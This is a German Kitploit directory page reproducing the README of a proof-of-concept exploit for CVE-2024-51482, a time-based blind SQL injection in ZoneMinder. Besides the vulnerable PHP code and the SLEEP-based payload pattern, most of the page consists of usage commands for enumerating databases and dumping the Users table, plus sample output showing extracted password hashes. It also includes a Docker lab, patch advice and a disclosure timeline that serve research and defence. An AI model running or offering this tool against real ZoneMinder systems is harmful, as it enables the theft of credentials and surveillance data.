Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-51482-POC — Zeitbasierte SQL-Injection PoC für CVE-2024-51482 in ZoneMinder, mit reproduzierbarem Docker-Labor und automatisierter Datenextraktion. | Kitploit
Tools/GitHubGitHub/0xdaeras/cve-2024-51482-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungDatenbanksicherheitLabs & Praxis
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

Zeitbasierte SQL-Injection PoC für CVE-2024-51482 in ZoneMinder, mit reproduzierbarem Docker-Labor und automatisierter Datenextraktion.

Repository anzeigen
76vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ZoneMinder Authenticated Time Based SQLi POC - CVE-2024-51482

CVE-1 CVSS Python

⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Das Ausführen dieses Tools gegen Systeme, die Ihnen nicht gehören oder für die Sie keine schriftliche Genehmigung zum Testen haben, ist illegal.


Inhaltsverzeichnis

  • ZoneMinder Authenticated Time Based SQLi POC - CVE-2024-51482
    • Inhaltsverzeichnis
    • Übersicht
    • Schwachstellendetails
      • CVE-2024-51482 — Zeitbasierte Blind-SQL-Injection
      • Ursache
      • Angriffsablauf
    • Repository-Struktur
    • Anforderungen
    • Installation
      • PoC
      • Docker-Labor
  • Verwendung
    • Standardverhalten
    • Hilfebildschirm
    • Befehle
    • Ausgabeoptionen
    • Flag-Referenz
    • Vollständiges Beispiel
    • Hinweise
    • Docker-Labor
  • Beispielausgabe
  • Abhilfe
    • Gegen diese CVE
    • Gegen ähnliche Schwachstellen
  • Offenlegungszeitplan
  • Referenzen

  • Übersicht

    Dieses Repository enthält einen Proof-of-Concept für eine zeitbasierte SQL-Injection gegen ZoneMinder.

    Das Tool ermöglicht:

    • Schwachstellenüberprüfung
    • Datenbank-Enumeration
    • Ermittlung von Tabellen und Spalten
    • Vollständiges Tabellen-Dumping
    • CSV-Export

    Es enthält außerdem ein vollständig reproduzierbares Docker-Labor für sicheres Testen.


    Schwachstellendetails

    CVE-2024-51482 — Zeitbasierte Blind-SQL-Injection

    • CVE-ID: CVE-2024-51482
    • CVSS v3.1-Score: 10.0 (Kritisch)
    • Schwachstellentyp: Zeitbasierte Blind-SQL-Injection
    • Betroffene Versionen: ZoneMinder v1.37.* <= 1.37.64
    • Angriffsvektor: Authentifizierter Endpunkt (removetag)
    • Auswirkung: Vollständige Datenbank-Offenlegung, Kompromittierung der Datenintegrität
    • Erforderliche Authentifizierung: Ja (ein Benutzer mit niedrigen Berechtigungen ist ausreichend)

    Ursache

    ZoneMinder ist eine kostenlose Open-Source-Software für Videoüberwachung. Die Schwachstelle entsteht durch unzureichende Eingabevalidierung im removetag-Endpunkt von ZoneMinder. Benutzereingaben werden direkt in SQL-Abfragen eingebunden, ohne ordnungsgemäße Bereinigung oder Parametrisierung, sodass Angreifer schädliche boolesche SQL-Payloads injizieren können. Der Exploit nutzt:

    root@kitploit:~
    SLEEP(x - IF(condition, 0, x))
    

    um Daten über die Antwortzeit zu ermitteln.

    Vollständiger anfälliger Code-Auszug aus der GitHub Maintainer Advisory:

    root@kitploit:~
    case 'removetag' :
        $tagId = $_REQUEST['tid'];
        dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
        $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
        $rowCount = dbNumRows($sql);
        if ($rowCount < 1) {
          $sql = 'DELETE FROM Tags WHERE Id = ?';
          $values = array($_REQUEST['tid']);
          $response = dbNumRows($sql, $values);
          ajaxResponse(array('response'=>$response));
        }
    

    Angriffsablauf

    root@kitploit:~
    Attacker                              ZoneMinder Web App
       │                                         │
       │  [Auth]                                 │
       │  POST /zm/index.php                     │
       │  {username, password}                   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  200 OK + Set-Cookie: ZMSESSID=...      │  ← authenticated session
       │                                         │
       │  [CVE-2024-51482]                       │
       │  GET /zm/index.php                      │
       │  ?view=request&request=event            │
       │  &action=removetag&tid=<payload>        │
       │────────────────────────────────────────►│
       │                               SQL boolean query executed
       │                               IF(condition, no delay, SLEEP)
       │◄────────────────────────────────────────│
       │  Delayed response (timing oracle)       │  ← condition inferred
       │                                         │
       │  Repeat requests                        │
       │  ASCII(SUBSTRING(query,pos,1))          │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Timing differences reveal characters   │
       │                                         │
       │  Binary search per character            │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Extracted data (1 char at a time)      │
       │                                         │
       │  SELECT Username, Password FROM Users   │
       │────────────────────────────────────────►│
       │◄────────────────────────────────────────│
       │  Full database disclosure               │
       │                                         │
       ✓  Complete data exfiltration via blind SQLi
    

    Repository-Struktur

    root@kitploit:~
    CVE-2024-51482/
    ├── exploit.py
    ├── README.md
    ├── requirements.txt
    ├── docker-compose.yml
    ├── .env.example
    ├── docker/
    │   ├── Dockerfile
    │   └── entrypoint.sh
    └── logs/
    

    Anforderungen

    • Python 3.8+
    • requests
    • Docker und docker-compose (für Laborumgebung)

    Installation

    PoC

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    pip install -r requirements.txt
    

    Docker-Labor

    root@kitploit:~
    git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
    cd CVE-2024-51482-POC
    cp .env.example .env  # Umgebungsvariablen konfigurieren
    docker compose up -d
    

    Verwendung

    Standardverhalten

    Ohne Flags authentifiziert sich das Tool am Ziel, prüft die Schwachstelle und gibt bei Anfälligkeit die Spalten ID, Username, Password, Name und Email aus der Tabelle zm.Users aus (dump-users-Befehl).

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password>
    

    Hilfebildschirm

    root@kitploit:~
    python exploit.py -h
    

    Befehle

    check

    Überprüft nur, ob das Ziel anfällig ist.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> check
    

    dump-users

    Gibt die Spalten ID, Username, Password, Name und Email aus der Tabelle zm.Users aus. Standardbefehl, wenn keiner angegeben ist.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-users
    

    list-db

    Listet alle Datenbanken auf.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-db
    

    list-tables

    Listet Tabellen in einer angegebenen Datenbank auf.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
    

    list-columns

    Listet Spalten in einer angegebenen Tabelle auf.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
    

    dump-table

    Gibt alle Daten aus einer angegebenen Tabelle aus.

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
    

    Sie können auch auszugebende Spalten angeben (Standard: alle):

    root@kitploit:~
    python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
    

    Ausgabeoptionen

    Terminalausgabe deaktivieren

    root@kitploit:~
    --no-display
    

    In CSV exportieren

    Wenn die Datei nicht existiert, wird sie erstellt. Wenn sie bereits existiert, werden neue Ergebnisse angehängt.

    root@kitploit:~
    --outfile results.csv
    

    Flag-Referenz

    Ziel & Authentifizierung

    FlagBeschreibungBeispiel
    -t, --targetZielbasis-URL-t http://localhost:8080
    -u, --userBenutzername für Authentifizierung-u admin
    -p, --passwordPasswort für Authentifizierung-p admin
    --cookieVorhandenes ZMSESSID-Cookie anstelle von Login verwenden--cookie abc123...

    Kernbefehle

    BefehlBeschreibungBeispiel
    checkPrüft, ob das Ziel anfällig ist (zeitbasiertes SQLi)check
    dump-usersGibt die Tabelle zm.Users direkt ausdump-users
    list-dbListet alle Datenbanken auflist-db
    list-tablesListet Tabellen einer Datenbank auflist-tables --db zm
    list-columnsListet Spalten einer Tabelle auflist-columns --db zm --table Users
    dump-tableGibt eine bestimmte Tabelle ausdump-table --db zm --table Users

    Befehlsoptionen

    FlagBeschreibungErforderlichBeispiel
    --dbDatenbanknameJa (für Tabellen-/Spalten-ops)--db zm
    --tableTabellennameJa (für Spalten-/Dump)--table Users
    --columnsKommagetrennte Liste der auszugebenden SpaltenOptional--columns Username,Password

    Leistung & Exploitation

    FlagBeschreibungStandardBeispiel
    --threadsAnzahl paralleler Extraktions-Threads5--threads 6
    --delayVerzögerung für zeitbasiertes SQLi3--delay 2
    --no-checkSchwachstellenprüfung vor Exploitation überspringenFalse--no-check

    Ausgabeoptionen

    FlagBeschreibungBeispiel
    --outfileAusgabe in CSV-Datei speichern--outfile results.csv
    --no-displayTerminalausgabe deaktivieren--no-display

    Logging & Darstellung

    FlagBeschreibungStandardBeispiel
    -v, --verboseDebug-Logging aktivierenFalse-v
    --log-filePfad zur Log-Dateilogs/exploit.log--log-file out.log
    --no-colorFarbige Ausgabe deaktivierenFalse--no-color

    Vollständiges Beispiel

    root@kitploit:~
    python3 exploit.py \
      -t http://localhost:8080 \
      -u admin -p admin \
      dump-table \
      --db zm \
      --table Users \
      --columns Username,Password \
      --threads 6 \
      --delay 2 \
      --outfile dump.csv
    

    Hinweise

    • Alle Befehle erfordern Authentifizierung (Cookie oder Anmeldedaten).
    • dump-users ist eine Abkürzung zum Ausgeben der Tabelle zm.Users.
    • Multithreading beschleunigt die Extraktion erheblich, kann aber die Last auf dem Ziel erhöhen. 5 Threads und eine Verzögerung von 3 Sekunden sind sichere Standardwerte. Verwenden Sie benutzerdefinierte Werte mit Vorsicht.
    • Die CSV-Ausgabe unterstützt sowohl strukturierte als auch flache Daten (z.B. Liste der Datenbanken vs. vollständige Tabellen-Dumps).
    • Verwenden Sie --no-check nur, wenn Sie sicher sind, dass das Ziel anfällig ist.

    Docker-Labor

    Die enthaltene docker-compose.yml richtet eine anfällige ZoneMinder-Instanz ein.

    root@kitploit:~
    cp .env.example .env  # Umgebungsvariablen konfigurieren
    docker compose up -d
    

    Greifen Sie über http://localhost:8080/ (oder Ihren benutzerdefinierten Port) auf die Weboberfläche zu. Die Standard-Anmeldedaten sind admin:admin. Sie können dann den Exploit gegen diese lokale Instanz ausführen, um zu testen.


    Beispielausgabe

    root@kitploit:~
    $ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                       
    _________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
    \_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
    /    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
    \     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
     \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
            \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                       
    
    [∗] Target URL: http://localhost:8080/
    [∗] Module : dump-table
    [∗] Output will be saved to: ./out.csv
    
    [∗] Attempting to log in with username/password authentication
     🡲  Credentials: admin:admin
    [+] Successfully authenticated as user admin
    
    [∗] Testing target vulnerability...
    [+] Target appears to be vulnerable (response time indicates successful injection).
    
    [∗] Dumping contents of table zm.Users...
    [+] Found columns: Username, Password
    [∗] Retrieving number of rows in the table...
    [+] Table contains 2 rows. Starting dump...
    
    [∗] Progress: 5/5 | admin
    [∗] Progress: 60/60 | $2h$12$NHZs...
    [+] Retrieved row 1 : admin, $2h$12$NHZs...
    
    [∗] Progress: 4/4 | flag
    [∗] Progress: 60/60 | $2y$10$1Ei....
    [+] Retrieved row 2 : flag, $2y$10$1Ei....
    
    +----------+----------------+
    | Username | Password       |
    +----------+----------------+
    | admin    | $2h$12$NHZs... |
    | flag     | $2y$10$1Ei.... |
    +----------+----------------+
    
    [+] Results written to ./out.csv
    [+] Work done. Bye!
    

    Abhilfe

    Gegen diese CVE

    • Aktualisieren Sie auf ZoneMinder v1.37.65 oder höher, das einen Fix für CVE-2024-51482 enthält.

    Gegen ähnliche Schwachstellen

    • Implementieren Sie eine ordnungsgemäße Eingabevalidierung und -bereinigung für alle benutzergesteuerten Daten.
    • Verwenden Sie parametrisierte Abfragen oder Prepared Statements, um SQL-Injection zu verhindern.

    Offenlegungszeitplan

    • 2024-10-31: Benutzer Entropt und Benutzer connortechnology legen die Schwachstelle auf dem ZoneMinder GitHub offen.
    • 2024-11-01: Patch wird committet im ZoneMinder-Repository.
    • 2025-02-13: Version 1.37.65 wird getaggt.

    Referenzen

    • CVE-2024-51482 Details
    • NIST NVD-Eintrag
    • ZoneMinder Offizielle Website
    • ZoneMinder GitHub Maintainer Security Advisory
    • Fix-Commit im ZoneMinder GitHub
    • OWASP SQL Injection Prevention Cheat Sheet
    Tool herunterladen